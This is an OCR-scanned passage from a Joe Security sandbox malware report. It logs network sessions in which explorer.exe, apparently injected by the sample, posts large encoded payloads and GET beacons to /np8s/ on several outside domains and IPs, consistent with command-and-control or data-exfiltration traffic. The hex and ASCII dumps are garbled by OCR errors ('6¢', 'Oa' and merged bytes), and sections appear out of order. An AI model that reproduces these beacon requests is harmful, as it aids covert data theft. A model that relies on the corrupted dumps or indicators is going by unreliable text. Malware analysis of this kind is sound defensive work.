6f 75 6e 64 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 68 72 3e Oa 3c 61 64 64 72 65 73 73 3e 41
70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70
69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.topings33.com Port 80</address></body></htmI>

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.topings33.com

Connection: close

Content-Length: 36477

Cache-Control: no-cache

Origin: http://www.topings33.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.topings33.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 78 33 62 6f 4f 79 31 49 59 58 66 6d 58 30 61 55 52 70 32 4e 43 7a 74 72 66 43 66 6¢ 5a 38 57 48
4e 70 6e 36 78 74 37 6d 37 6a 6e 6d 52 4b 51 66 33 54 68 44 64 76 6f 5a 63 74 39 71 75 79 67 74 55 4e 72 38 31 5a 6¢
49 4f 47 49 58 36 30 5a 65 69 5a 4e 50 63 36 79 56 39 4b 61 42 36 53 70 41 39 66 58 53 34 30 59 61 30 31 76 61 45 2d
4c 73 55 6f 33 4b 7a 63 39 38 76 4c 48 64 46 71 7a 2d 79 38 79 70 32 41 53 30 4f 61 7e 41 30 78 43 54 37 56 52 7a 32 3
02851 4752 4a 45 4f 38 79 42 62 63 57 79 28 63 35 53 36 6d 79 42 64 73 67 2d 45 50 63 36 4c 33 4f 54 77 6e 70 76 50
36 6b 34 72 6f 53 67 38 5f 77 76 4d 4b 48 4c 43 32 31 2d 61 50 72 33 37 36 45 69 6f 36 68 38 72 49 39 65 45 77 73 6¢ 55
67 78 3351 77 32 6d 33 41 4e 47 41 42 43 46 4f 33 51 47 51 61 36 31 34 6b 6f 6b 57 73 56 41 31 4e 62 34 4c 4c 69 4f 34
2d 4b 77 59 67 4c 5f 65 34 66 4a 48 74 71 6¢ 39 77 28 70 76 4a 59 35 62 78 47 41 6a 6e 7a 6¢ 63 41 6d 6d 49 45 5a 6¢
39 75 55 31 4d 57 4e 49 50 4d 34 5f 34 78 5a 6¢ 6d 6b 5a 75 67 46 34 59 6b 4e 71 41 76 50 28 76 71 44 4d 38 37 77 34
48 53 5a 50 52 54 4a 6e 30 50 39 69 50 32 47 37 50 4a 58 68 58 4d 62 52 47 6d 52 6b 64 5a 4a 5a 2d 36 54 35 32 4e 6b
37 5379 55 79 5a 36 2d 48 49 4c 54 66 32 33 76 42 59 44 69 4c 49 6f 47 77 48 4577 39 59 4e 63 47 64 50 44 72 2d 70
6f 47 42 47 62 4b 58 6f 77 75 66 61 47 66 70 57 68 72 69 59 44 6f 64 4d 70 42 77 6a 57 79 6¢ 44 4a 72 4f 76 6f 71 4c 43
76 73395549 77 38 67 75 36 75 41 59 4b 64 55 59 41 48 53 51 62 4e 56 52 28 62 5a 30 39 50 4e 56 75 48 73 30 39 7a
44 38 57 63 44 7a 5a 52 72 4e 31 47 55 6d 47 4f 4e 77 4d 69 54 6a 33 35 63 45 71 6f 67 4b 68 39 58 62 72 62 45 4f 6e
46 38 37 46 59 77 67 43 4d 37 69 62 5a 66 4b 48 44 4c 6f 73 7a 6b 57 69 44 43 62 33 66 42 4e 41 42 28 44 36 4a 69 37
6a 46 57 5f 44 61 71 2d 70 6d 54 68 61 31 66 66 62 32 44 51 32 38 71 44 39 6a 57 49 77 6e 7a 75 6e 49 70 7a 6¢ 58 38
48 7167 63 77 39 52 4a 67 4b 6a 52 70 64 72 71 61 52 66 58 50 28 4b 64 64 5a 2d 52 4f 79 49 30 71 61 4b 70 49 65 6e
7e 2d 49 48 78 42 4f 5 35 46 7e 48 41 6¢ 49 59 41 37 54 32 79 75 5a 76 35 71 63 71 6e 6¢ 33 76 5a 78 43 6e 72 33 33 6
7 4c 4a 61 46 43 52 48 4b 53 53 41 46 51 79 39 33 42 33 57 34 57 31 51 41 69 5a 70 56 34 56 54 62 79 55 33 73 73 64
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Timestam| LEpee

P transferred
May 27, 2022 10049
18:45:06.602683067
CEST
Session ID Source IP
38 192.168.2.5

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49959

6d 66 61 58 55 48 77 76 33 56 35 41 65 76 59 41 63 51 4b 32 53 79 67 76 6d 77 50 48 4c 6a 56 62 50 55 42 55 67 49 67
BB 74 34 59 77 68 56 6¢ 46 37 6b 47 30 33 74 34 46 43 78 43 38 43 47 6f 53 37 4d 70 79 46 4b 6d 39 4f 32 4¢ 36 51
46 58 52 4b 37 6d 4f 4f 34 47 76 34 68 45 74 76 67 5f 53 56 35 35 51 34 4c 72 32 63 73 36 35 70 7e 45 4d 51 44 4e 73 57
51 4e 32 4d 42 6f 75 35 56 39 7a 76 36 4a 44 52 72 70 42 75 67 64 46 6¢ 6e 6b 45 4e 33 52 38 6b 73 6b 34 4f 46 5f 43
39 41 6f 49 4b 53 58 61 77 6e 33 62 6a 35 33 34 51 36 54 67 35 59 30 55 34 5a 75 41 4a 61 38 43 32 41 52 31 4f 4b 54
53 6e 32 33 31 73 45 33 56 76 46 45 6f 49 6a 70 66 69 4b 36 76 36 58 4a 76 34 74 36 6¢ 75 46 6¢ 44 4b 74 32 4b 4e 4a
43 7e 6d 41 51 45 79 73 51 33 47 61 67 34 57 66 62 7a 72 54 46 72 45 6d 31 4d 50 52 53 75 6b 7e 61 39 46 57 45 35 38
3571 70 4e 6¢ 59 43 50 28 37 75 4e 64 6a 63 71 6¢ 49 39 6¢ 52 73 52 35 6¢ 32 6d 72 79 4e 35 77 6a 44 48 45 72 55 48
68 6¢ 37 71 33 36 72 36 55 74 61 67 56 53 6f 28 36 31 56 30 54 6d 7a 4c 79 53 37 28 41 52 4d 6e 35 32 31 71 53 4d 4a
4e 48 7e 53 34 6a 45 31 64 4e 57 7a 6¢ 58 62 30 42 33 6b 75 71 31 43 6¢ 58 72 77 4b 57 57 31 52 45 47 65 66 39 5f 6a 4
7 4d 3557 70 67 72 6b 4d 45 4b 7e 37 79 44 6f 46 49 6¢ 6a 54 6f 30 72 70 41 46 51 41 39 73 34 68 4e 78 28 76 34 61 45
31 6f 68 77 75 54 63 4e 4c 36 6¢ 39 50 77 32 6a 63 64 6e 71 68 65 70 67 64 31 32 73 47 34 54 6d 32 50 6f 52 47 30 5a
73 68 56 43 58 76 48 6¢ 71 5a 75 66 79 74 30 33 50 48 32 4d 33 32 77 6d 45 69 70 49 57 6¢ 34 30 52 37 65 30 64 48 6¢
72 6¢ 73 4f 66 73 54 79 36 54 50 55 65 34 6¢ 52 49 59 38 64 50 54 6e 74 62 55 64 6d 6b 76 59 56 58 42 45 68 6b 43 62
51 54 30 6¢ 7a 6a 5a 35 65 49 49 45 53 4c 46 70 6¢ 63 6e 71 7a 2d 56 6b 4b 4a 76 31 49 46 4c 33 7e 44 70 45 51 59 74
47 76 4d 75 4d 7a 71 68 53 53 7a 75 46 31 67 4e 2d 30 5a 72 4d 6e 43 64 44 7e 33 4e 34 70 42 39 76 7a

Data Ascii: ZVB=x3boOy1lYXfmX0aURp2NCztrfCflIZ8WHNpn6xt7m7jnmRKQf3ThDdvoZct9quygtUNr81ZIIOGIX60ZeiZNP
c6yV9IKaB6SpA9fXS40Ya0lvaE-LsUo3Kzc98vLHAFgz-y8yp2AS00a~A0XCT7VRz20(QGRJIEO8yBbcWy(c5S6myBdsg-
EPc6L30TwnpvP6k4roSg8_wvMKHLC21-aPr376Eio6h8rI9e EwslUgx3Qw2m3ANGABCFO3QGQa614kokWsVALNb4
LLiO4-KwYgL_e4fIHtql9w(pvJY5bxGAjnzIcAmmIEZIQUUIMWNIPM4_4xZImkZugF4YkNgAvP(vgDM87w4HSZPRTJ
nOP9iP2G7PJIXhXMbRGMRkAZJZ-6T52Nk7SyUyZ6-HILTf23vBYDiLIoGWHEW9YNcGdPDr-poGBGbhKXowufaGfpWhri
YDodMpBwjWyIDJrOvoqLCvs9UIw8gu6uAYKdUYAHSQbNVR(bZ09PNVuHs09zD8WcDzZRrN1GUmMGONwMi
Tj35cEqogKh9XbrbEONnF87FYwgCM7ibZfKHDLoszkWiDCh3fBNAB(D6Ji7jFW_Dag-pmThalffo2DQ28gD9jWlwnzu
nlpzIX8Hggcw9RJIgKjRpdrgaRfXP(KddZ-ROyl0gaKplen~-IHxBO_5F~HAIIYA7T2yuZv5qcqnl3vZxCnr33gLJaF
CRHKSSAFQy93B3W4W1QAiZpV4VThyU3ssdmfoXUHwv3V5AevYOc_K2SygvmwPHLjVbPUBUgIg60t4YwhVIF7kG03t4
FCXC8CG0S7MpyFKm902L6QFXRK7mOO4Gv4hEtvg_SV55Q4Lr2cs65p~EMQDNsWQN2MBou5V9zv6JDRrp
BugdFINkEN3R8ksk4OF_C9A0IKSXawn3bj534Q6Tg5Y0U4ZuAJa8C2AR10KTSNn231sE3VVFEoljpfiK6veXJv4t6lu
FIDKt2KNJC~mAQEyYsQ3Gag4WibzrTFrEm1MPRSuk~a9FWES585qpNIY CP(7uNdjcqlI9IRsR512mryN5wjDHErUHI7
q36r6UtagVSo(61V0TmzLyS7(ARMN521qSMINH~S4JE1dNWzIXb0B3kuglCIXrwKWW1REGef9_jGM5WpgrkMEK~7yD
oFIljToOrpAFQA9s4hNx(v4aElohwuTcNL6I9Pw2jcdnghepgd12sG4Tm2PoRG0ZshVCXvHIgZufyt03PH2M32wmEi
pIWI40R7e0dHIrlsOfsTy6 TPUe4IR1Y8dPTntbUdmkvYVXBEhkCbQTOIzjZ5elIESLFplcngz-VkKJIV1IFL3~DpEQY
tGvMuMzghSSzuF1gN-0ZrMnCdD~3N4pB9vzOTOADCcRajN960(SZF8BF3ylvpfdfKQZ3peMBisOdEKw5v90JZil2non
ID8puRsHzUIs5UM1a4G6uYuQI7m1B4XKFoCRe_eHPZjBc4vo9CXUCRKSUNQhfbhby1jPxMO-h2MAHWItZQ30xc3mr
JhR8sRPtzNXRjdDLF8ORIL~2QK2mpX7dGiYTxC2aalmW4ioBLh1lupisCjeL-uR5Xk3arpoiaJPVHgXywyJVDJIdsRN
cgb074ybmCnJyCssc4aUy7EYigJcURwWNKVX80WPFIDSGkKcCp67AxNtNjMunwlzZufcLSF~VqiAlg1xLFe45xmaiKf
MmOxYw22CEXgtimusK12pXqOlge_ck1VdyCI1Tpi8UmQNgca7cu6EYIG8cNkvBe7rORYeYItHTI2alDyvEERLpgvZ2
cgMITQ~NWJIFWHzy-6W7tR3t79txNTmNyl1bvEMwSzfmuOtTHO3rWwZdOYtiSv55vAEFFjLrneptzI8k2 WF790hiGsk
AclJibPjxdo-rV2jt3E5wvtzZGo3vDHabCOgaYro3YB_SzCJLv7GIAOQISEMCxyAlIGWnAtREgXbpSxY22uF2hSrkKZ
nrMF1wfQ5040s00KJuuhRZZLO5vOOZNJS8LON050bCFXCLDH3Su6I7Bils2A0qItJIFXYNMmXOCNQkiYHINOYC9cdG
I1X2g3K3CPJT-(rTdLvgnAglJfpLj5XP_zDuRthDzQI6H(Zp8qfT-ZRZuBv(206P5zZWTEWFTppbG9ealLkcIx3RgtHI
CajT0ZXW1EVVKOHSSEKqOIdGI7vLI9nszcPt(CU4VSIEZS8XBsIg5z Twy5fI351U6NOpLQCGVEKQxfSzII TaaLKWgl-
OvGSSM4h2pgHpHHINYdLNUt2AHOCEN2c71UgNxVn406-zbQzImzG8IBEy7ZBCVYnxqovsnXg(gdrFgH8YmwKru8n
LunSQrwfDBk1IYCoxKI8SZou7KOE~y4ZRPIji98Sng7B0d2bUigwU4bGnOw29_aSENdd1_d_WDg8mVYCwbhBCOIbp3H
yNtx7xIkotwe4hQ-vbUSBNe_WSCLgK7cXPWIKIBKGYZz978vBONTqghakof4Bax6jPiXQFI(opDjRIIZVPW(2WYXIAg
ongq0ZA08GnzjZsWyCl203wUnzP2Ni3Gdi8X_geUsWJa387EuOppn~M(WOp5SU1L-SrérYZdkuYNcj_p_9alPDG8afN
gX~hpoC_5VC8hwbhSNTrzlwv_f01thCNUTHMqOL605Qr5ABGThIVaGAnhTUJ4vnDII2EpQHXtQEGhIiIT27e5MUAdtPo
5a8MpZipk68Xs1hQYvVMOHIUv5FcarEYLnySVDZTEbzuh4XXQ5wDCwvS4aqZzKN3CbbazNmzU9Azp3XGiYU74(6¢cTQ
S6icT4ijUH8rs-Qfcgv-F_4H(z48ibJNazEX~PVY10(jD_60KOdPLRv26UVWUrdfwXExk5QjObZ2J_p32wavviy5h5sGt-
ffZOx7xcYpRQApPCM7q8t7qigj0REOsUuyt6 SU2e WvWIWpCzKjU7EMGZzW6zWCuhwsOB5ZV08IjWQHgO5I2Tippf
5Qgu9AVpweS3Q4DIILMRh3U2eQ15JfqtY6XjSvWdL_OCJIGLVMKRWZI2YGGyZRxfWw3Ui19nloWwIXFNH2_OfKYLuOz
0UgJBuwUOCrQjfsYUC(7umJ6KuJs2186bJIBLgMcloQH2XxCGTSFBhOmM8Zxzj3wérh2yH_gPASTicCoqckVCvdHkchGS
1S5kfqQ-LYNmARVWofz3kfjISXh0giGh~9H7PbPmsmFgJco-rcT99jj5sL TR45~aNyRIXSWPeU4zszDbfVK-4fp1~E
6fuUkc33zWibhB7cw44IkkfZ6gM_VISpvIucKXiwmbXcTVTSwjLIOybrSWp9U4z93IBLSeUyxzziTRZWijl4iKhymiF
ohApM2E1VOOKFHqVoeCdefZkYgmeh_rA3Y5hCYDcWpACjjhUcowBXKaaGIVQk2Q8T1zHnpd9mQHS5hYZ-4i4hX2maiT
gEK_ONmMmMAQjjSHItGPIn3zjZLbggHvyMgwkoxgGSV4kH3KyHNgIJs6(cHZDXRS9Yb3dUw-gKVdgUgxxBsDKMWOBUNS
eUsWk2EGGJIbSPcXRNYue59gxqZnRy2QuOPWKpGuU~PoZ~FIB19Cg3QB874GD(B(tZsLgbH30YYqF190LDTd7IcFnEZ
FciHQIH3ZMotXIfAOkppwZkqDJulw-Y-DHYEKSOZbyvILJjQefhF8J~k83yhlpk4(OpNnE6SZVfyHXh_~2LUILJUOU
nelaGriT59Zav4DQUwImeOHqU5QjbBkcjDTOdXVsByplUsdY G6yPx4IxZK~FesLgjOcZoM27c-pID3gqWnjoLR9ttzN
xbcEBXUPZFd-RfGpocrJL6RrQ6Qt84slvgXeNRObzzs8rm71Q_YGUEYGQFIMastAdmlhsgFZRZtu(My38mNMz_jhi2
160750VNHNtrwq73Z0iNSdgDnl79BdECbCUQTFeyXOowkWHzGu2SBPE7yNei4iRPK-CHIIPm1wvg5wWZefczDTi8qV
e_0G3FK8VP2xQMh5EPAlbbaqwW~OGtO1t8RfXYHDOsWuWm3jSigyncpfgMnz(3WWgkZ4Luaz5Gm7yT3bUhW4rX3b9J
84LDtOCErvVI1Ly-Q2IAWmOF~e8z9mNdUb4cJgySNQMsKEIImI(ILNT-0B

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 16:45:06 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3¢ 68 72 3e Oa 3c 61 64 64 72 65 73 73 3e 41
70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70
69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.topings33.com Port 80</address></body></htm|>

Destination IP Destination Port Process

162.0.230.89 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred
May 27, 2022 10051
18:45:08.347321033
CEST
May 27, 2022 10052
18:45:08.586493969
CEST
Session ID Source IP
39 192.168.2.5

. kBytes
WIEETS transferred
May 27, 2022 10076
18:45:15.510179043
CEST
May 27, 2022 10077
18:45:15.655011892
CEST
Session ID Source IP
4 192.168.2.5

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49962

Direction

ouT

Source Port

49862

Data

GET /np8s/?zVB=+1vSQSU4VFPBNKL8EMH3DU8MRg7YeugbcMOylP3MO0ivye7s4zRc3erRZEMINrnM1ldbg&4hM4=0
4BOf HTTP/1.1

Host: www.topings33.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 16:45:08 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41
7061 63 68 65 2f 32 2e 34 2e 3239 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70
69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.topings33.com Port 80</address></body></htmI>

Destination IP Destination Port Process
170.39.76.27 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.jlbwaterdamagerepairseattle.com

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.jlbwaterdamagerepairseattle.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 53 39 54 57 7a 6a 54 34 6d 34 78 55 56 49 6a 61 73 47 34 71 30 72 6¢ 77 6d 4a 77 72 34 4a 34
34 7439 4d 76 34 4b 57 39 74 39 4e 74 79 31 52 38 31 78 74 34 39 46 58 46 37 45 76 32 70 58 42 30 28 41 74 37 69 4b
36 71 49 56 6d 76 39 73 4d 53 73 6e 41 6f 70 2d 56 39 53 42 76 38 56 6d 62 59 35 51 63 55 28 2d 69 69 4b 52 56 62 47
6¢ 51 6d 4e 68 38 31 4d 4d 43 69 4e 57 39 79 63 45 66 74 49 6e 7e 31 6a 7a 49 58 69 73 76 52 77 69 42 55 49 35 61 67
4c 73 6551 42 38 72 6d 32 74 66 31 4e 69 62 63 33 2d 4a 73 33 76 37 70 36 4e 43 2d 4f 33 37 67 69 6f 54 58 5a 53 5a
55 7a 5a 35 4e 7572 72 74 39 4e 31 73 6d 52 32 7a 49 38 44 31 4b 4d 46 31 6f 44 4b 4a 42 6f 54 76 7e 31 70 57 45 35
37 32 42 6e 58 79 67 69 79 73 53 50 4e 42 54 5f 6b 43 6d 51 55 37 54 7a 79 6d 69 47 4c 79 7a 36 76 2d 77 38 52 5f 69
64 4b 54 6f 4e 36 4d 6f 5f 45 32 33 4¢ 50 4e 31 62 47 73 58 4d 4e 6b 4f 50 67 57 32 69 6a 6¢ 70 51 77 2d 6e 50 39 51 36
48 68 72 63 50 77 6f 53 41 71 74 6f 37 62 64 44 71 56 50 35 74 30 49 6b 56 67 31 41 36 48 4d 73 7a 59 6d 55 38 4a 66
3043 66 38 52 59 6e 76 64 62 6a 78 47 77 72 4b 41 6b 49 7a 6f 6b 41 6f 4c 6d 39 59 49 34 67 5f 4c 79 41 34 76 4f 55 52
39 4f 7558 44 32 7a 79 53 51 78 4a 46 47 6d 48 73 67 29 2e 00 00 00 00 00 00 00 00

Data Ascii: zZVB=S9TWzjT4m4xUVIjasG4q0rlwmJIwr4J44t9Mv4KWItINty1R81xt49FXF7Ev2pXBO(At7iK6qIV
mv9sMSsnAop-VISBv8VmbY5QcU(-iiKRVbGIQmMNh81IMMCINW9ycEftin~1jzIXisvRwiBUI5agL.seQB8rm2tf1Nibc3-
Js3v7p6NC-037gioTXZSZUzZ5Nurrt9N1smR2zI8D1KMF1oDKJIBoTv~1pWE572BnXygiysSPNBT_kCmQU7TzymiG
Lyz6v-w8R_idKToN6Mo_E23LPN1bGsXMNKOPgW2ijlpQw-nP9Q6HhrcPwoSAqto7bdDgVP5t0IkVg1A6HMszY mU8Jf
OCf8RYnvdbjxGwrkAklzokAoLm9Y14g_LyA4vOURIOUXD2zySQxJFGMHSsQ).

HTTP/1.1 404 Not Found

Connection: close

content-type: text/html

content-length: 252

content-encoding: gzip

vary: Accept-Encoding,User-Agent,User-Agent

date: Fri, 27 May 2022 16:45:15 GMT

server: LiteSpeed

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 Oe 82 40 10 05 fb fb 8a 95 5e 17 Oc €5 66 13 61 97 dc 25 27 10 b3 14
f4 5¢ 42 25 51 el ff 0d d2 58 be 99 79 74 92 ae b6 bl 57 fO 76 8f d0O Of 55 Oc 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51

db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2¢c db 73 22 3c a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39

c1 3b bd b6 f4 59 d3 04 ¢3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 Oc 00 dO de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a 1e bf

4b a2 59 df f7 7c 1b b3 78 30 14 68 5d el ec 6f 4b dO 1b e8 9d 05 84 f8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09
2b 5e ¢4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 7 b4 e3 b2 d1 77 f2 77 89 b4 b3 d1 f7 08 f1 f5 b1 e3 1a c9 00
00 00 00 ff ff 03 00 1f 08 8 aa fO 01 00 00

Data Ascii: L@"fa%"\B%QXytWvU5dg aQMe”B,s"<#ETu2_9;Y# )2n%*KY|x0Oh]oK#vSX85{n+"40rG?ww

Destination IP Destination Port Process

172.67.140.71 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred
May 27, 2022 9490
18:42:34.593461990
CEST
May 27, 2022 9491
18:42:34.640897036
CEST
Session ID Source IP
40 192.168.2.5

. kBytes
WIEETS transferred
May 27, 2022 10090
18:45:15.656387091
CEST

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49963

Direction

ouT

Data

GET /np8s/?zVB=vppS5AedQQffRIEeclZ7feN7VEirdPdpHk1lk+jbM2J+jzoAXquLk4CVs1G32f+Ix1mc&4hM4=04BOf HTTP/
11

Host: www.medyumgalip.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Fri, 27 May 2022 16:42:34 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Fri, 27 May 2022 17:42:34 GMT

Location: https://www.medyumgalip.com/np8s/?zVB=vppS5AedQQffRIEeclZ7feN7VEirdPdpHk1lk+jbM2J+jzoAXquL
k4CVs1G32f+Ix1mc&4hM4=04BOf

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=fw48ievxoX1 TNP4potGfsJqls%2BSgiO
DM1304U6gIMK3UyMmKNe9z4gmB1t1ELDR8CZ2RRKssOhNI4wc8blylfPf7wOcOAC8Ix%2BXRNQGPtaKW
3vPO0%2BAGYiN34YkB5DIrQZy50Kgp"}], "group”:"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 7120345e4cch88a9-LHR

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

170.39.76.27 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www.jlbwaterdamagerepairseattle.com
Connection: close
Content-Length: 36477
Cache-Control: no-cache
Origin: http://www.jlbwaterdamagerepairseattle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 7a 56 42 3d 53 39 54 57 7a 69 75 7a 6f 6f 73 43 62 34 28 35 71 78 6f 2d 67 72 31 49 6¢ 35 30 30 32 6f 55 6a
3766 6b 64 32 76 72 50 75 38 6b 77 6a 57 30 65 6a 44 64 67 39 46 48 67 33 57 62 36 34 6e 46 31 28 41 45 71 69 4b 32
71 4a57 58 6b 7e 4e 63 30 74 46 59 70 72 65 56 46 54 42 75 34 52 6e 47 49 35 54 77 71 28 39 43 79 4b 43 52 62 46 44
63 6d 63 53 6b 45 50 73 43 6b 46 32 74 75 42 30 54 4b 49 6a 62 6f 6a 32 6f 58 69 63 6a 52 28 6a 78 56 41 65 4f 6e 66 7
366 6158737237 73 64 6a 4c 4e 6b 48 45 33 5f 31 73 77 64 66 70 36 5a 79 2d 49 41 75 32 70 34 54 65 64 53 5a 54
6¢ 70 3854 75 76 4c 70 39 4d 78 38 68 6a 71 7a 4c 73 44 6f 41 37 34 56 35 67 54 4c 53 6f 6e 49 7e 31 74 37 46 74 36
6¢ 42 6d 4b 68 32 6e 32 35 57 74 56 34 54 39 6f 6b 6b 77 55 6e 63 54 79 39 69 47 4c 43 7a 36 75 64 77 38 4e 5f 69 63
53 54 6e 39 4b 4d 35 74 64 67 31 37 50 55 28 37 47 79 54 4d 77 5f 4f 50 35 39 32 67 58 50 70 41 4d 2d 31 71 68 51 79
44 42 6f 4250 78 74 54 41 72 77 31 72 62 6b 44 71 55 69 35 76 64 4e 6b 43 6f 31 41 72 48 4d 76 52 41 6d 54 63 4a 66
78 43 66 69 66 34 71 6b 64 62 37 74 47 77 62 61 41 53 45 7a 6f 31 67 6f 4c 43 70 59 4c 49 67 5f 53 69 42 7a 76 63 39 65
36 39 32 63 4a 56 69 4b 4e 52 70 62 47 31 6a 34 34 46 49 51 28 68 62 42 59 33 70 57 39 42 6b 72 7e 65 78 36 52 4a 69
6f 7a 4e 79 57 36 30 66 67 54 38 41 52 61 72 76 36 76 4b 57 79 67 42 49 31 47 73 34 65 77 45 55 68 4a 52 7a 62 46 49
57 31 64 56 6a 2d 63 6f 64 4a 55 31 6¢ 42 65 79 70 4e 51 55 39 36 4d 4d 36 33 71 37 6¢ 4c 73 4c 7e 44 5a 4b 50 30 55
42 44 30 49 61 33 34 79 78 7a 4f 33 75 34 76 54 57 39 52 39 4f 6b 64 33 71 47 66 58 55 74 39 37 2d 53 30 51 57 58 52
